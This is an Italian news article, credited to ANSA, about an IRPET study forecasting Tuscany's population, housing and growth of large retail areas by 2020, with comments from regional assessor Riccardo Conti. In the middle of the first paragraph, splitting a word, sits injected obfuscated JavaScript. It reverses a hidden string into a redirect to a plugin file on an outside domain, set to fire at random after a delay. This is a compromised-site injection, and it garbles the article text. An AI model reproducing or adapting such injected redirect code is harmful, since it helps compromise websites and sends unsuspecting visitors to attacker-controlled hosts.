2020, arriva l'IperToscanaMarket. Per Conti il territorio non va imbalsamato

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La Toscana del 2020 sarà più densamente abitata, le aree urbane saranno più estese e se le aree industriali, complessivamente, non si amplieranno cresceranno invece le zone destinate ai supermercati ed alle maxistrutture della gr (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ande distribuzione. Questa la fotografia fatta da Irpet (Istituto regionale per la programmazione economica toscana) della Toscana futura che stamani, in consiglio regionale ha presentato una indagine dedicata al territorio regionale e ai rapporti che vi si creano tra economia, aree residenziali e paesaggio.

”Il tasso di aumento della popolazione porterà tendenzialmente ad un aumento del 10% nei prossimi dieci anni, e questo condurrà ad un balzo in avanti nella domanda di case – ha spiegato il ricercatore Irpet Giovanni Maltinti, curatore della ricerca – parimenti, la ripresa dell’economia, in fase di stagnazione dal 2000, avrà come conseguenza l’ampliamento delle aree destinate a ipermarket, centri commerciali e della grande distribuzione. Dal 1990 al 2000, anni di esplosione della grande distribuzione, i volumi dedicati a queste strutture sono balzati da 42 mila mq a dimensioni cinque volte superiori. Al contrario – prosegue – le zone prettamente industriali tenderanno a rimodellarsi senza espandersi oltre gli spazi già occupati, cosi’ come hanno fatto anche negli anni passati”. In base ai dati dell’indagine, la Toscana risulta tra le regioni meno urbanizzate d’Italia: ”Solo il 6% del suo territorio lo è, contro l’11% del Veneto e il 17% della Lombardia, due regioni con livelli di sviluppo simili” spiega ancora Maltinti.

Per l’assessore regionale alle infrastrutture Riccardo Conti, l’impegno per il governo del territorio nei prossimi anni sarà quello di ”tenere la barra ferma tra le spinte contrapposte di chi vuole imbalsamare la terra bloccando lo sviluppo e chi al contrario vuole dare corda libera allo sviluppo senza riguardo per la terra”.

[Fonte Ansa]

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